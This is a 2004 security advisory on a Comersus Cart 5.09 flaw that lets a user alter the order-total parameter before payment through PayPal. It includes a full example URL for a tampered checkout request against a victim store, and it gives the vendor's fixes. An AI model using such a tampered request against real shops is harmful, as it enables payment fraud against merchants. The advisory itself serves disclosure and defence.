Comersus Cart Improper Request Handling 

Release Date:
July 6, 2004

Severity:
Medium

Vendor:
Comersus Open Technologies

Software:
Tested on Comersus Cart 5.09
Previous versions may also be affected.

Remote:
Remotely executed from any web browser

Technical Details:
The unethical user is able to modify the parameters to change the pricing
before the order is processed through PayPal.  This would allow the
unethical user to place a fraudulent transaction which many times isn't
caught until the product is already shipped OR the shopping cart owner is
charged a chargeback fee when refunding the order.

Example:

http://[VICTIM]/comersus/store/comersus_gatewayPayPal.asp?idOrder=2002&Order
Total=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan&address=123+Easy+
Modify+Street&city=New+York&state=NY&zip=10001&country=US&phone=212%2D857%2D
1731&email=tommy%40providesecurity%2Ecom&orderDetails=1x+%23RDHT%2F11+Red+Ha
t+Deluxe+WorkStation+Options%3A+%3D+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Mi
llennium+Edition+Options%3A+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Wan
t+to+Be+President%3F+Options%3A+%3D+%2414%2E39%0D%0A


Vendor Fix:
Update to 5.098
http://www.comersus.com/
Use <form method="POST" on all Forms
Also recommend using SSL for ALL Transactional areas of the website.
Review all orders before processing

Credit:
Discovered By: Thomas Ryan
Provide Security

Original Advisory
http://www.providesecurity.com/research/advisories/07062004-02.asp

Copyright (c) 2004 Provide Security
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